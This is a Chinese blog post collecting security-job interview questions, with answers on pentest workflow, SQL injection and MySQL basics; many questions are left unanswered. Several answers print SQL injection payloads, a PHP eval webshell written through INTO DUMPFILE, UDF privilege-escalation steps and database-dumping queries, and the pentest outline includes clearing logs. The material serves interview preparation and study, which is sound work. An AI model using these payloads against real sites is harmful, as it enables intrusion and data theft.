随着国家政策的扶持,网络安全行业也越来越为大众所熟知,相应的想要进入到网络安全行业的人也越来越多,为了更好地进行工作,除了学好网络安全知识外,还要应对企业的面试。

所以在这里我归总了一些网络安全方面的常见面试题,希望对大家有所帮助。

内容来自于社群内2023届毕业生在毕业前持续整理、收集的安全岗面试题及面试经验分享~

目录

一、字节跳动-渗透测试实习生

二、深信服-漏洞研究员实习

三、字节跳动-安全研究实习生

四、长亭科技-安全服务工程师

五、腾讯-安全技术实习生

六、小鹏汽车-安全工程师

七、大厂高频面试题汇总

7.1、SQL注入防护方法

7.2、常见的Web安全漏洞

7.3、给你一个网站你是如何来渗透测试的?

7.4、渗透测试流程

7.5、SQL注入类型

7.6、SQL注入的原理

7.7、如何进行SQL注入的防御

7.8、sqlmap,怎么对一个注入点注入?

7.9、mysql的网站注入,5.0以上和5.0以下有什么区别?

7.10、MySQL存储引擎?

7.11、什么是事务?

7.12、读锁和写锁

7.13、MySQL的索引

7.14、ORDER BY在注入的运用

7.15、GPC是什么?GPC之后怎么绕过?

7.16、Mysql一个@和两个@什么区别

7.17、注入/绕过常用的函数

7.18、盲注和延时注入的共同点?

7.19、如何拿一个网站的webshell?

7.20、sql注入写文件都有哪些函数?

7.21、各种写shell的问题

7.22、sql注入写文件都有哪些函数?

7.23、sql二次注入

7.24、SQL和NoSQL的区别


一、字节跳动-渗透测试实习生

二、深信服-漏洞研究员实习

三、字节跳动-安全研究实习生

四、长亭科技-安全服务工程师

五、腾讯-安全技术实习生

六、小鹏汽车-安全工程师

面试题合集【点击立即获取】

七、大厂高频面试题汇总

这次花了三个月的时间整理各大安全厂商的网络安全服务职位(包括但不仅限于:安全服务工程师,安全运营工程师,安全运维工程师,安全攻防工程师“)的面试问题。

话不多说,让我们一起学习吧

目前来说还有非常多的不严谨和冗余,恳请小伙伴们指正修改!

7.1、SQL注入防护方法

7.2、常见的Web安全漏洞

7.3、给你一个网站你是如何来渗透测试的?

在获取书面授权的前提下。

1)信息收集

获取域名的whois信息,获取注册者邮箱姓名电话等。
查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
google hack 进一步探测网站的信息,后台,敏感文件

2)漏洞扫描

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

3)漏洞利用

利用以上的方式拿到webshell,或者其他权限

4)权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

5) 日志清理

6)总结报告及修复方案

7.4、渗透测试流程

7.5、SQL注入类型

7.6、SQL注入的原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。

7.7、如何进行SQL注入的防御

7.8、sqlmap,怎么对一个注入点注入?

7.9、mysql的网站注入,5.0以上和5.0以下有什么区别?

7.10、MySQL存储引擎?

1、InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束

为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全(ACID兼容)存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中,可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来,甚至在同一个查询中也可以混合
InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘文件)。这与MyISAM表不同,比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸,即使在文 件尺寸被限制为2GB的操作系统上
InnoDB支持外键完整性约束,存储表中的数据时,每张表的存储都按主键顺序存放,如果没有显示在表定义时指定主键,InnoDB会为每一行生成一个6字节的ROWID,并以此作为主键
2、MyISAM:访问速度快,不支持事务,逐渐被淘汰
3、MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。
4、MERGE、Archive等等不常用的

7.11、什么是事务?

事务是一组原子性的SQL语句或者说是一个独立的工作单元,如果数据库引擎能够成功对数据库应用这组SQL语句,那么就执行,如果其中有任何一条语句因为崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行成功,要么全部执行失败。
举个银行应用的典型例子:

假设银行的数据库有两张表:支票表和储蓄表,现在某个客户A要从其支票账户转移2000元到其储蓄账户,那么至少需求三个步骤:

a.检查A的支票账户余额高于2000元;

b.从A的支票账户余额中减去2000元;

c.在A的储蓄账户余额中增加2000元。

这三个步骤必须要打包在一个事务中,任何一个步骤失败,则必须要回滚所有的步骤,否则A作为银行的客户就可能要莫名损失2000元,就出问题了。这就是一个典型的事务,这个事务是不可分割的最小工作单元,整个事务中的所有操作要么全部提交成功,要么全部失败回滚,不可能只执行其中一部分,这也是事务的原子性特征。

7.12、读锁和写锁

读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才能确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。

7.13、MySQL的索引

索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。

7.14、ORDER BY在注入的运用

order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。

7.15、GPC是什么?GPC之后怎么绕过?

如果magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。

7.16、Mysql一个@和两个@什么区别

@为用户变量,使用SET @var1=1赋值
@@ 为系统变量 ,包括全局变量show global variables \G;和会话变量show session variables \G;

7.17、注入/绕过常用的函数

1、基于布尔SQL盲注

left(database(),1)>'s'
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp正则注入 select user() regexp '^[a-z]';
select user() like 'ro%'

2、基于报错的SQL盲注
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));

3、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

7.18、盲注和延时注入的共同点?

都是一个字符一个字符的判断

7.19、如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

7.20、sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

7.21、各种写shell的问题

1、写shell用什么函数?

select '<?php phpinfo()> into outfile 'D:/shelltest.php'
dumpfile
file_put_contents
2、outfile不能用了怎么办?

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
3、dumpfile和outfile有什么不一样?outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。

4、sleep()能不能写shell?

5、写shell的条件?

用户权限
目录读写权限
防止命令执行:disable_functions,禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html
open_basedir: 将用户可操作的文件限制在某目录下

7.22、sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

7.23、sql二次注入

第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,

暴库 group_concat(schema_name) from information_schema.schemata
暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'
获取数据 concat(flag) from flag
修复:在从数据库或文件中取数据的时候,也要进行转义或者过滤。

7.24、SQL和NoSQL的区别

SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库

1.SQL优点

2.SQL缺点

3.NoSQL优点

4.比较

【网络安全面经】2023届网络安全岗秋招面试题及面试经验分享相关推荐

  1. 2023级网络安全岗面试题及面试经验分享

    在当今社会网络安全行业越来越发达,也有越来越多的人去学习,为了更好地进行工作,除了学好知识外还要应对企业的面试. 所以在这里我归总了一些网络安全方面的常见面试题,希望对大家有所帮助. 一个2023届毕 ...

  2. 2023级安全岗面试题及面试经验分享

    写在前面 个人强烈感觉面试因人而异,对于简历上有具体项目经历的同学,个人感觉面试官会着重让你介绍自己的项目,包括但不限于介绍一次真实攻防/渗透/挖洞/CTF/代码审计的经历 => 因此对于自己的 ...

  3. 清华硕士眼中的2021届算法岗秋招

    文 | 李金泽 一晃接近三个月过去了,秋招也到了尾声,之前一直忙于写毕业论文,现在在这里想总结一些自己求职互联网大厂算法岗的面经和心得,希望帮助后来的学弟学妹们收获自己心仪的offer. 今年的算法岗 ...

  4. 2023届计算机硕士秋招面试经历

    今天浅浅的来记录一下23届秋招的大致情况,这篇博客大致会分为一下几个部分:自己的个人情况,秋招期间做的准备,"秋招旅途",秋招遇到的问题,秋招的个人感想五个部分. 个人情况 本人是 ...

  5. 22届产品岗秋招小记---身心俱疲,春招继续

    记录一下为秋招做过的挣扎,给同样处境的朋友们一丝鼓励.后续会把笔经.面经整理单独发帖,当攒攒人品了. 个人背景 还不错的211本,还不错的美硕.技术背景,和计算机沾边的专业.1段大厂产品实习,1段中厂 ...

  6. 2018百度运维岗秋招面试题:36匹马6跑道快速找出前三名

    36匹马赛跑,跑道同时只能容许6匹马.问最少跑多少次可以找出前三名 这道题是在2018年秋招百度面试官给我的问题,我投的是运维研发,要求是编程实现,很显然没有计时器不然还有啥问的,发博客也希望有大佬给 ...

  7. 大厂程序员教你如何写简历(附简历模板)//简历、秋招、简历模板。经验分享、资源分享

    最近朋友圈很多大佬都已经转发公司的招聘信息了,一年一度的秋招又来了. "如果你是应届的同学,请务必参加秋招",这对应届生来说是真的很重要! 而面试不单单是考察你的技术能力,简历也是 ...

  8. 2019美团秋招后台工程师电话面试经验

    收到面试通知大概是投递简历后的一周,短信直接通知第二天上午电话,也没时间准备太多的东西,直到面试开始前五分钟还在拼命刷知乎看经验贴233333 电话面总共进行了20分钟(因人而异),总共分三个部分:自 ...

  9. 2022届我的秋招总结(互联网+银行面经)

    秋招结束了有一段时间了,正好过年回家有时间写一写我的秋招经历,不能说非常丰富,但也经历过不少,希望对大家找工作有些帮助! 另我秋招遇到的互联网面试真题已经总结完成了: 2022届校招我的互联网面经(回 ...

最新文章

  1. mysql修改表、字段、库的字符集(转)
  2. web网页的表单排版利器--960css
  3. php 如何生成二级目录json,使用PHP根据已解码的JSON创建文件夹/文件结构
  4. toj 4604 搞笑版费马大定理
  5. javascript中特殊数值常量
  6. 悄悄安装vcredist_x64.exe,不弹出对话框
  7. 5V升压8.4V,锂电池充电管理芯片
  8. 每日一记之数据库事务
  9. 企业数据总线(ESB)和注册服务管理(dubbo)的区别
  10. 文件一键上传、汉字转拼音、excel文件上传下载功能模块的实现
  11. 系统启动过程(基于三星s5p6818 uboot)
  12. php面向对象常见的专业术语
  13. c#堆栈跟踪;c#异常原因查找打印;c#打印错误日志
  14. tableau可视化图表及仪表板设计
  15. 2017 最新qq登录算法
  16. 分形图(fractal pictures)
  17. YYT 0664 - 2008 医疗器械软件 软件生存周期过程
  18. [node]nvs使用的注意事项
  19. 最实用大数据可视化分析工具
  20. 条件概率,乘法定理,全概率公式

热门文章

  1. 眼睛不可缺少的8大营养素
  2. 台式机网线连接笔记本通过wifi上网
  3. coreldraw基本工具(2)
  4. 计算机教师格言座右铭,教师教育格言座右铭
  5. mysql aborted connection_mysql Aborted connection错误
  6. 何华达回忆录:何华达经历的辛酸过去!
  7. 25 岁,毕业写前端的这三年,多益网络java面试
  8. 月结2 - 维护汇率[OB08]
  9. 风场可视化:风场数据
  10. 19 | 三方协议怎么签?